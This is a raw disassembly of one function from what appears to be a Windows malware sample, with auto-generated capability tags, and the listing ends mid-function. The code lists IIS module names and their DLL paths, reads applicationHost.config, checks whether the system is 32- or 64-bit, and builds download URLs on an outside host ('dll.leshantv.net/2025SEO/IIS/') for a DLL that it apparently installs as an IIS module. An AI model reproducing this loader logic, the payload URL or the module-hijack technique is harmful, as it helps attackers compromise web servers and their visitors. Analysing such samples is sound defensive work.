Function at 0x404170
Capabilities:
Contain obfuscated stackstrings
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x436667
mov eax, dword fs:[0]
push eax
sub esp, 0x784
mov eax, dword [0x445080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebp + 8], 2
mov eax, dword [ebp + 0xc]
jge 0x4041b0
mov eax, 1
jmp 0x4063d7
mov edx, dword [eax + 4]
xorps xmm0, xmm0
mov ecx, edx
mov dword [ebp - 0x2a4], 0
movups xmmword [ebp - 0x2b4], xmm0
mov dword [ebp - 0x2a0], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4041d6
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x2b4]
call fcn.0040b4d0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x790]
xorps xmm0, xmm0
mov dword [ebp - 0x2e8], 0
push 0x11
push str.HttpLoggingModule
movq qword [ebp - 0x2f0], xmm0
movups xmmword [ebp - 0x790], xmm0
mov dword [ebp - 0x780], 0
mov dword [ebp - 0x77c], 0
call fcn.0040b4d0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x778]
push 0x25
xorps xmm0, xmm0
mov dword [ebp - 0x768], 0
push str._windir_System32inetsrvloghttp.dll
movups xmmword [ebp - 0x778], xmm0
mov dword [ebp - 0x764], 0
call fcn.0040b4d0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x760]
push 0xe
xorps xmm0, xmm0
mov dword [ebp - 0x750], 0
push str.UriCacheModule
movups xmmword [ebp - 0x760], xmm0
mov dword [ebp - 0x74c], 0
call fcn.0040b4d0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x748]
push 0x25
xorps xmm0, xmm0
mov dword [ebp - 0x738], 0
push str._windir_System32inetsrvcachuri.dll
movups xmmword [ebp - 0x748], xmm0
mov dword [ebp - 0x734], 0
call fcn.0040b4d0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x730]
push 0xf
xorps xmm0, xmm0
mov dword [ebp - 0x720], 0
push str.FileCacheModule
movups xmmword [ebp - 0x730], xmm0
mov dword [ebp - 0x71c], 0
call fcn.0040b4d0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x718]
push 0x26
xorps xmm0, xmm0
mov dword [ebp - 0x708], 0
push str._windir_System32inetsrvcachfile.dll
movups xmmword [ebp - 0x718], xmm0
mov dword [ebp - 0x704], 0
call fcn.0040b4d0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x700]
push 0x10
xorps xmm0, xmm0
mov dword [ebp - 0x6f0], 0
push str.TokenCacheModule
movups xmmword [ebp - 0x700], xmm0
mov dword [ebp - 0x6ec], 0
call fcn.0040b4d0
xorps xmm0, xmm0
mov byte [ebp - 4], 7
movups xmmword [ebp - 0x6e8], xmm0
push 0x26
push str._windir_System32inetsrvcachtokn.dll
lea ecx, [ebp - 0x6e8]
mov dword [ebp - 0x6d8], 0
mov dword [ebp - 0x6d4], 0
call fcn.0040b4d0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x6d0]
push 0xf
xorps xmm0, xmm0
mov dword [ebp - 0x6c0], 0
push str.HttpCacheModule
movups xmmword [ebp - 0x6d0], xmm0
mov dword [ebp - 0x6bc], 0
call fcn.0040b4d0
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x6b8]
push 0x26
xorps xmm0, xmm0
mov dword [ebp - 0x6a8], 0
push str._windir_System32inetsrvcachhttp.dll
movups xmmword [ebp - 0x6b8], xmm0
mov dword [ebp - 0x6a4], 0
call fcn.0040b4d0
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x6a0]
push 0x17
xorps xmm0, xmm0
mov dword [ebp - 0x690], 0
push str.StaticCompressionModule
movups xmmword [ebp - 0x6a0], xmm0
mov dword [ebp - 0x68c], 0
call fcn.0040b4d0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x688]
push 0x26
xorps xmm0, xmm0
mov dword [ebp - 0x678], 0
push str._windir_System32inetsrvcompstat.dll
movups xmmword [ebp - 0x688], xmm0
mov dword [ebp - 0x674], 0
call fcn.0040b4d0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x670]
push 0x15
xorps xmm0, xmm0
mov dword [ebp - 0x660], 0
push str.DefaultDocumentModule
movups xmmword [ebp - 0x670], xmm0
mov dword [ebp - 0x65c], 0
call fcn.0040b4d0
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x658]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x648], 0
push str._windir_System32inetsrvdefdoc.dll
movups xmmword [ebp - 0x658], xmm0
mov dword [ebp - 0x644], 0
call fcn.0040b4d0
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x640]
push 0x16
xorps xmm0, xmm0
mov dword [ebp - 0x630], 0
push str.DirectoryListingModule
movups xmmword [ebp - 0x640], xmm0
mov dword [ebp - 0x62c], 0
call fcn.0040b4d0
mov byte [ebp - 4], 0xf
xorps xmm0, xmm0
movups xmmword [ebp - 0x628], xmm0
mov dword [ebp - 0x618], 0
push 0x25
push str._windir_System32inetsrvdirlist.dll
lea ecx, [ebp - 0x628]
mov dword [ebp - 0x614], 0
call fcn.0040b4d0
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x610]
push 0x15
xorps xmm0, xmm0
mov dword [ebp - 0x600], 0
push str.ProtocolSupportModule
movups xmmword [ebp - 0x610], xmm0
mov dword [ebp - 0x5fc], 0
call fcn.0040b4d0
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x5f8]
push 0x25
xorps xmm0, xmm0
mov dword [ebp - 0x5e8], 0
push str._windir_System32inetsrvprotsup.dll
movups xmmword [ebp - 0x5f8], xmm0
mov dword [ebp - 0x5e4], 0
call fcn.0040b4d0
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x5e0]
push 0x10
xorps xmm0, xmm0
mov dword [ebp - 0x5d0], 0
push str.StaticFileModule
movups xmmword [ebp - 0x5e0], xmm0
mov dword [ebp - 0x5cc], 0
call fcn.0040b4d0
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x5c8]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x5b8], 0
push str._windir_System32inetsrv_static.dll
movups xmmword [ebp - 0x5c8], xmm0
mov dword [ebp - 0x5b4], 0
call fcn.0040b4d0
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x5b0]
push 0x1d
xorps xmm0, xmm0
mov dword [ebp - 0x5a0], 0
push str.AnonymousAuthenticationModule
movups xmmword [ebp - 0x5b0], xmm0
mov dword [ebp - 0x59c], 0
call fcn.0040b4d0
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x598]
push 0x26
xorps xmm0, xmm0
mov dword [ebp - 0x588], 0
push str._windir_System32inetsrv_authanon.dll
movups xmmword [ebp - 0x598], xmm0
mov dword [ebp - 0x584], 0
call fcn.0040b4d0
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x580]
push 0x16
xorps xmm0, xmm0
mov dword [ebp - 0x570], 0
push str.RequestFilteringModule
movups xmmword [ebp - 0x580], xmm0
mov dword [ebp - 0x56c], 0
call fcn.0040b4d0
mov byte [ebp - 4], 0x17
xorps xmm0, xmm0
movups xmmword [ebp - 0x568], xmm0
mov dword [ebp - 0x558], 0
mov dword [ebp - 0x554], 0
push 0x26
push str._windir_System32inetsrvmodrqflt.dll
lea ecx, [ebp - 0x568]
call fcn.0040b4d0
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x550]
push 0x11
xorps xmm0, xmm0
mov dword [ebp - 0x540], 0
push str.CustomErrorModule
movups xmmword [ebp - 0x550], xmm0
mov dword [ebp - 0x53c], 0
call fcn.0040b4d0
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x538]
push 0x25
xorps xmm0, xmm0
mov dword [ebp - 0x528], 0
push str._windir_System32inetsrvcusterr.dll
movups xmmword [ebp - 0x538], xmm0
mov dword [ebp - 0x524], 0
call fcn.0040b4d0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x520]
push 0xb
xorps xmm0, xmm0
mov dword [ebp - 0x510], 0
push str.IsapiModule
movups xmmword [ebp - 0x520], xmm0
mov dword [ebp - 0x50c], 0
call fcn.0040b4d0
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x508]
push 0x23
xorps xmm0, xmm0
mov dword [ebp - 0x4f8], 0
push str._windir_System32inetsrvisapi.dll
movups xmmword [ebp - 0x508], xmm0
mov dword [ebp - 0x4f4], 0
call fcn.0040b4d0
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x4f0]
push 0x11
xorps xmm0, xmm0
mov dword [ebp - 0x4e0], 0
push str.IsapiFilterModule
movups xmmword [ebp - 0x4f0], xmm0
mov dword [ebp - 0x4dc], 0
call fcn.0040b4d0
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x4d8]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x4c8], 0
push str._windir_System32inetsrv_filter.dll
movups xmmword [ebp - 0x4d8], xmm0
mov dword [ebp - 0x4c4], 0
call fcn.0040b4d0
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x4c0]
push 0xf
xorps xmm0, xmm0
mov dword [ebp - 0x4b0], 0
push str.ManagedEngine64
movups xmmword [ebp - 0x4c0], xmm0
mov dword [ebp - 0x4ac], 0
call fcn.0040b4d0
mov byte [ebp - 4], 0x1f
xorps xmm0, xmm0
movups xmmword [ebp - 0x4a8], xmm0
mov dword [ebp - 0x498], 0
mov dword [ebp - 0x494], 0
push 0x3b
push str._windir_Microsoft.NETFramework64_v2.0.50727webengine.dll
lea ecx, [ebp - 0x4a8]
call fcn.0040b4d0
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x490]
push 0xd
xorps xmm0, xmm0
mov dword [ebp - 0x480], 0
push str.ManagedEngine
movups xmmword [ebp - 0x490], xmm0
mov dword [ebp - 0x47c], 0
call fcn.0040b4d0
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x478]
push 0x39
xorps xmm0, xmm0
mov dword [ebp - 0x468], 0
push str._windir_Microsoft.NETFramework_v2.0.50727webengine.dll
movups xmmword [ebp - 0x478], xmm0
mov dword [ebp - 0x464], 0
call fcn.0040b4d0
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x460]
push 0x17
xorps xmm0, xmm0
mov dword [ebp - 0x450], 0
push str.ManagedEngineV4.0_32bit
movups xmmword [ebp - 0x460], xmm0
mov dword [ebp - 0x44c], 0
call fcn.0040b4d0
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x448]
push 0x3c
xorps xmm0, xmm0
mov dword [ebp - 0x438], 0
push str.C:WindowsMicrosoft.NETFramework_v4.0.30319webengine4.dll
movups xmmword [ebp - 0x448], xmm0
mov dword [ebp - 0x434], 0
call fcn.0040b4d0
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x430]
push 0x17
xorps xmm0, xmm0
mov dword [ebp - 0x420], 0
push str.ManagedEngineV4.0_64bit
movups xmmword [ebp - 0x430], xmm0
mov dword [ebp - 0x41c], 0
call fcn.0040b4d0
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x418]
push 0x3e
xorps xmm0, xmm0
mov dword [ebp - 0x408], 0
push str.C:WindowsMicrosoft.NETFramework64_v4.0.30319webengine4.dll
movups xmmword [ebp - 0x418], xmm0
mov dword [ebp - 0x404], 0
call fcn.0040b4d0
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x400]
push 0xd
xorps xmm0, xmm0
mov dword [ebp - 0x3f0], 0
push str.RewriteModule
movups xmmword [ebp - 0x400], xmm0
mov dword [ebp - 0x3ec], 0
call fcn.0040b4d0
mov byte [ebp - 4], 0x27
xorps xmm0, xmm0
push 0x29
movups xmmword [ebp - 0x3e8], xmm0
mov dword [ebp - 0x3d8], 0
mov dword [ebp - 0x3d4], 0
push str._SystemRoot__system32inetsrv_rewrite.dll
lea ecx, [ebp - 0x3e8]
call fcn.0040b4d0
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x3d0]
push 0x1d
xorps xmm0, xmm0
mov dword [ebp - 0x3c0], 0
push str.ConfigurationValidationModule
movups xmmword [ebp - 0x3d0], xmm0
mov dword [ebp - 0x3bc], 0
call fcn.0040b4d0
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x3b8]
push 0x26
xorps xmm0, xmm0
mov dword [ebp - 0x3a8], 0
push str._windir_System32inetsrv_validcfg.dll
movups xmmword [ebp - 0x3b8], xmm0
mov dword [ebp - 0x3a4], 0
call fcn.0040b4d0
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x3a0]
push 0x14
xorps xmm0, xmm0
mov dword [ebp - 0x390], 0
push str.RequestMonitorModule
movups xmmword [ebp - 0x3a0], xmm0
mov dword [ebp - 0x38c], 0
call fcn.0040b4d0
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x388]
push 0x25
xorps xmm0, xmm0
mov dword [ebp - 0x378], 0
push str._windir_System32inetsrviisreqs.dll
movups xmmword [ebp - 0x388], xmm0
mov dword [ebp - 0x374], 0
call fcn.0040b4d0
lea ecx, [ebp - 0x790]
mov byte [ebp - 4], 0x2c
push ecx
lea eax, [ebp - 0x370]
push eax
push ecx
lea ecx, [ebp - 0x2f0]
call fcn.00406590
push fcn.00406470
push 0x16
push 0x30
lea eax, [ebp - 0x790]
mov byte [ebp - 4], 0x2e
push eax
call fcn.004151cb
push 0x104
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xorps xmm0, xmm0
test eax, eax
je 0x404c21
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x274], 0
movups xmmword [ebp - 0x284], xmm0
mov dword [ebp - 0x270], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404b70
sub ecx, edx
lea eax, [ebp - 0x114]
push ecx
push eax
lea ecx, [ebp - 0x284]
call fcn.0040b4d0
mov byte [ebp - 4], 0x2f
lea eax, [ebp - 0x284]
mov ecx, 2
mov dword [ebp - 0x2bc], 0
cmp dword [ebp - 0x274], ecx
xorps xmm0, xmm0
movups xmmword [ebp - 0x2cc], xmm0
cmovb ecx, dword [ebp - 0x274]
cmp dword [ebp - 0x270], 0xf
push ecx
cmova eax, dword [ebp - 0x284]
lea ecx, [ebp - 0x2cc]
push eax
mov dword [ebp - 0x2b8], 0
call fcn.0040b4d0
mov byte [ebp - 4], 0x2e
mov ecx, dword [ebp - 0x270]
cmp ecx, 0xf
jbe 0x404c4e
mov edx, dword [ebp - 0x284]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404c15
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4063f2
push ecx
push edx
call fcn.004152e0
add esp, 8
jmp 0x404c4e
push 0
push 0x4402a9
lea ecx, [ebp - 0x2cc]
mov dword [ebp - 0x2bc], 0
movups xmmword [ebp - 0x2cc], xmm0
mov dword [ebp - 0x2b8], 0
call fcn.0040b4d0
lea eax, [ebp - 0x220]
mov byte [ebp - 4], 0x30
push eax
mov dword [ebp - 0x220], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
mov eax, dword [ebp - 0x220]
mov esi, 0x440a14
test eax, eax
mov edi, 0x440a18
mov edx, str.system_is:
mov ecx, 0x446328
setne byte [ebp - 0x36d]
test eax, eax
cmove esi, edi
call fcn.0040a870
mov edx, esi
mov ecx, eax
call fcn.0040a870
push eax
call fcn.0040ab20
mov edx, str.program_is:
mov ecx, 0x446328
call fcn.0040a870
mov edx, edi
mov ecx, eax
call fcn.0040a870
push eax
call fcn.0040ab20
mov ecx, dword [ebp - 0x2bc]
mov esi, 0x7fffffff
mov eax, esi
add esp, 8
sub eax, ecx
cmp eax, 0x37
jb 0x4063f7
cmp dword [ebp - 0x2b8], 0xf
lea eax, [ebp - 0x2cc]
push 0x37
cmova eax, dword [ebp - 0x2cc]
push str.WindowsSystem32inetsrvconfig_applicationHost.config
push ecx
push eax
push ecx
push dword [ebp - 0x21c]
lea ecx, [ebp - 0x338]
call fcn.0040cfa0
lea ecx, [ebp - 0x36c]
mov byte [ebp - 4], 0x31
call fcn.00402450
mov edi, eax
mov byte [ebp - 4], 0x32
mov ecx, esi
mov edx, dword [ebp - 0x2bc]
sub ecx, edx
cmp ecx, 0x21
jb 0x4063fc
cmp dword [ebp - 0x2b8], 0xf
lea eax, [ebp - 0x2cc]
push 0x21
cmova eax, dword [ebp - 0x2cc]
push str.WindowsSystem32inetsrvconfig_
push edx
push eax
push ecx
push dword [ebp - 0x21c]
lea ecx, [ebp - 0x284]
call fcn.0040cfa0
push edi
lea eax, [ebp - 0x284]
mov byte [ebp - 4], 0x33
push eax
push dword [ebp - 0x21c]
lea ecx, [ebp - 0x350]
call fcn.0040cdc0
mov byte [ebp - 4], 0x35
mov ecx, dword [ebp - 0x270]
cmp ecx, 0xf
jbe 0x404dc6
mov edx, dword [ebp - 0x284]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404dbc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406401
push ecx
push edx
call fcn.004152e0
add esp, 8
mov byte [ebp - 4], 0x36
mov ecx, dword [ebp - 0x358]
cmp ecx, 0xf
jbe 0x404e04
mov edx, dword [ebp - 0x36c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404dfa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406401
push ecx
push edx
call fcn.004152e0
add esp, 8
lea eax, [ebp - 0x218]
mov dword [ebp - 0x35c], 0
push eax
push 0x104
mov dword [ebp - 0x358], 0xf
mov byte [ebp - 0x36c], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
xorps xmm0, xmm0
mov dword [ebp - 0x274], 0
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x270], 0
movups xmmword [ebp - 0x284], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404e58
sub ecx, edx
lea eax, [ebp - 0x218]
push ecx
push eax
lea ecx, [ebp - 0x284]
call fcn.0040b4d0
mov byte [ebp - 4], 0x37
mov eax, esi
mov ecx, dword [ebp - 0x274]
sub eax, ecx
cmp eax, 4
jb 0x406406
cmp dword [ebp - 0x270], 0xf
lea eax, [ebp - 0x284]
push 4
cmova eax, dword [ebp - 0x284]
push str.x32_
push ecx
push eax
push ecx
push dword [ebp - 0x21c]
lea ecx, [ebp - 0x250]
call fcn.0040cfa0
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x2b4]
cmp dword [ebp - 0x2a0], 0xf
mov eax, dword [ebp - 0x23c]
cmova ecx, dword [ebp - 0x2b4]
mov edx, dword [ebp - 0x240]
sub eax, edx
mov edi, dword [ebp - 0x2a4]
push edi
push ecx
cmp edi, eax
ja 0x404f25
cmp dword [ebp - 0x23c], 0xf
lea esi, [ebp - 0x250]
lea eax, [edi + edx]
cmova esi, dword [ebp - 0x250]
add esi, edx
mov dword [ebp - 0x240], eax
push esi
call fcn.004167e0
mov byte [edi + esi], 0
lea eax, [ebp - 0x250]
add esp, 0xc
mov esi, 0x7fffffff
jmp 0x404f44
mov byte [ebp - 0x354], 0
lea ecx, [ebp - 0x250]
push dword [ebp - 0x354]
push edi
call fcn.0040bd20
mov edi, dword [ebp - 0x2a4]
mov dword [ebp - 0x228], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x238], xmm0
mov dword [ebp - 0x224], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x238], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x228], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x39
mov edx, dword [ebp - 0x224]
mov eax, edx
mov ecx, dword [ebp - 0x228]
sub eax, ecx
cmp eax, 4
jb 0x404fd0
lea eax, [ecx + 4]
cmp edx, 0xf
mov dword [ebp - 0x228], eax
lea eax, [ebp - 0x238]
cmova eax, dword [ebp - 0x238]
mov dword [eax + ecx], 0x6c6c642e
mov byte [eax + ecx + 4], 0
lea eax, [ebp - 0x238]
jmp 0x404ff1
push 4
push str..dll
mov byte [ebp - 0x354], 0
lea ecx, [ebp - 0x238]
push dword [ebp - 0x354]
push 4
call fcn.0040bd20
mov dword [ebp - 0x28c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x29c], xmm0
mov dword [ebp - 0x288], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x29c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x28c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x3b
mov ecx, dword [ebp - 0x224]
cmp ecx, 0xf
jbe 0x405075
mov edx, dword [ebp - 0x238]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40506b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40640b
push ecx
push edx
call fcn.004152e0
add esp, 8
mov dword [ebp - 0x228], 0
mov dword [ebp - 0x224], 0xf
mov byte [ebp - 0x238], 0
mov byte [ebp - 4], 0x3c
mov ecx, dword [ebp - 0x23c]
cmp ecx, 0xf
jbe 0x4050ce
mov edx, dword [ebp - 0x250]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4050c4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40640b
push ecx
push edx
call fcn.004152e0
add esp, 8
mov ecx, dword [ebp - 0x274]
mov eax, esi
sub eax, ecx
mov dword [ebp - 0x240], 0
mov dword [ebp - 0x23c], 0xf
mov byte [ebp - 0x250], 0
cmp eax, 4
jb 0x406410
cmp dword [ebp - 0x270], 0xf
lea eax, [ebp - 0x284]
push 4
cmova eax, dword [ebp - 0x284]
push str.x64_
push ecx
push eax
push ecx
push dword [ebp - 0x21c]
lea ecx, [ebp - 0x36c]
call fcn.0040cfa0
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x2b4]
cmp dword [ebp - 0x2a0], 0xf
mov eax, dword [ebp - 0x358]
cmova ecx, dword [ebp - 0x2b4]
mov edx, dword [ebp - 0x35c]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x405190
cmp dword [ebp - 0x358], 0xf
lea esi, [ebp - 0x36c]
lea eax, [edi + edx]
cmova esi, dword [ebp - 0x36c]
add esi, edx
mov dword [ebp - 0x35c], eax
push esi
call fcn.004167e0
mov byte [edi + esi], 0
lea eax, [ebp - 0x36c]
add esp, 0xc
mov esi, 0x7fffffff
jmp 0x4051af
mov byte [ebp - 0x354], 0
lea ecx, [ebp - 0x36c]
push dword [ebp - 0x354]
push edi
call fcn.0040bd20
mov edi, dword [ebp - 0x2a4]
mov dword [ebp - 0x258], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x268], xmm0
mov dword [ebp - 0x254], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x268], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x258], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x3e
mov edx, dword [ebp - 0x254]
mov eax, edx
mov ecx, dword [ebp - 0x258]
sub eax, ecx
cmp eax, 4
jb 0x40523b
lea eax, [ecx + 4]
cmp edx, 0xf
mov dword [ebp - 0x258], eax
lea eax, [ebp - 0x268]
cmova eax, dword [ebp - 0x268]
mov dword [eax + ecx], 0x6c6c642e
mov byte [eax + ecx + 4], 0
lea eax, [ebp - 0x268]
jmp 0x40525c
push 4
push str..dll
mov byte [ebp - 0x354], 0
lea ecx, [ebp - 0x268]
push dword [ebp - 0x354]
push 4
call fcn.0040bd20
mov dword [ebp - 0x2d4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2e4], xmm0
mov dword [ebp - 0x2d0], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2e4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x2d4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x40
mov ecx, dword [ebp - 0x254]
cmp ecx, 0xf
jbe 0x4052e0
mov edx, dword [ebp - 0x268]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4052d6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406415
push ecx
push edx
call fcn.004152e0
add esp, 8
mov dword [ebp - 0x258], 0
mov dword [ebp - 0x254], 0xf
mov byte [ebp - 0x268], 0
mov byte [ebp - 4], 0x41
mov ecx, dword [ebp - 0x358]
cmp ecx, 0xf
jbe 0x405339
mov edx, dword [ebp - 0x36c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40532f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406415
push ecx
push edx
call fcn.004152e0
add esp, 8
mov eax, esi
mov dword [ebp - 0x35c], 0
sub eax, edi
mov dword [ebp - 0x358], 0xf
mov byte [ebp - 0x36c], 0
cmp eax, 0x29
jb 0x40641a
cmp dword [ebp - 0x2a0], 0xf
lea eax, [ebp - 0x2b4]
push edi
cmova eax, dword [ebp - 0x2b4]
push eax
push 0x29
push str.https:__dll.leshantv.net_2025SEO_IIS_x32_
push ecx
push dword [ebp - 0x21c]
lea ecx, [ebp - 0x250]
call fcn.0040cfa0
mov byte [ebp - 4], 0x42
mov edx, dword [ebp - 0x23c]
mov eax, edx
mov ecx, dword [ebp - 0x240]
sub eax, ecx
cmp eax, 4
jb 0x4053d6
lea eax, [ecx + 4]
cmp edx, 0xf
mov dword [ebp - 0x240], eax
lea eax, [ebp - 0x250]
cmova eax, dword [ebp - 0x250]
mov dword [eax + ecx], 0x6c6c642e
mov byte [eax + ecx + 4], 0
lea eax, [ebp - 0x250]
jmp 0x4053f7
push 4
push str..dll
mov byte [ebp - 0x354], 0
lea ecx, [ebp - 0x250]
push dword [ebp - 0x354]
push 4
call fcn.0040bd20
mov dword [ebp - 0x2f8], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x308], xmm0
mov dword [ebp - 0x2f4], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x308], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x2f8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x44
mov ecx, dword [ebp - 0x23c]
cmp ecx, 0xf
jbe 0x40547b
mov edx, dword [ebp - 0x250]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405471
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40641f
push ecx
push edx
call fcn.004152e0
add esp, 8
mov ecx, dword [ebp - 0x2a4]
mov eax, esi
sub eax, ecx
mov dword [ebp - 0x240], 0
mov dword [ebp - 0x23c], 0xf
mov byte [ebp - 0x250], 0
cmp eax, 0x29
jb 0x406424
cmp dword [ebp - 0x2a0], 0xf
lea eax, [ebp - 0x2b4]
push ecx
cmova eax, dword [ebp - 0x2b4]
push eax
push 0x29
push str.https:__dll.leshantv.net_2025SEO_IIS_x64_
push ecx
push dword [ebp - 0x21c]
lea ecx, [ebp - 0x36c]
call fcn.0040cfa0
mov byte [ebp - 4], 0x45
mov edx, dword [ebp - 0x358]
mov eax, edx
mov ecx, dword [ebp - 0x35c]
sub eax, ecx
cmp eax, 4
jb 0x40551e
lea eax, [ecx + 4]
cmp edx, 0xf
mov dword [ebp - 0x35c], eax
lea eax, [ebp - 0x36c]
cmova eax, dword [ebp - 0x36c]
mov dword [eax + ecx], 0x6c6c642e
mov byte [eax + ecx + 4], 0
lea eax, [ebp - 0x36c]
jmp 0x40553f
push 4
push str..dll
mov byte [ebp - 0x354], 0
lea ecx, [ebp - 0x36c]
push dword [ebp - 0x354]
push 4
call fcn.0040bd20
mov dword [ebp - 0x310], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x320], xmm0
mov dword [ebp - 0x30c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x320], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x310], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x47
mov ecx, dword [ebp - 0x358]
cmp ecx, 0xf
jbe 0x4055c3
mov edx, dword [ebp - 0x36c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4055b9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406429
push ecx
push edx
call fcn.004152e0
add esp, 8
cmp byte [ebp - 0x36d], 0
mov dword [ebp - 0x35c], 0
mov dword [ebp - 0x358], 0xf
mov byte [ebp - 0x36c], 0
je 0x405bb1
lea eax, [ebp - 0x354]
push eax
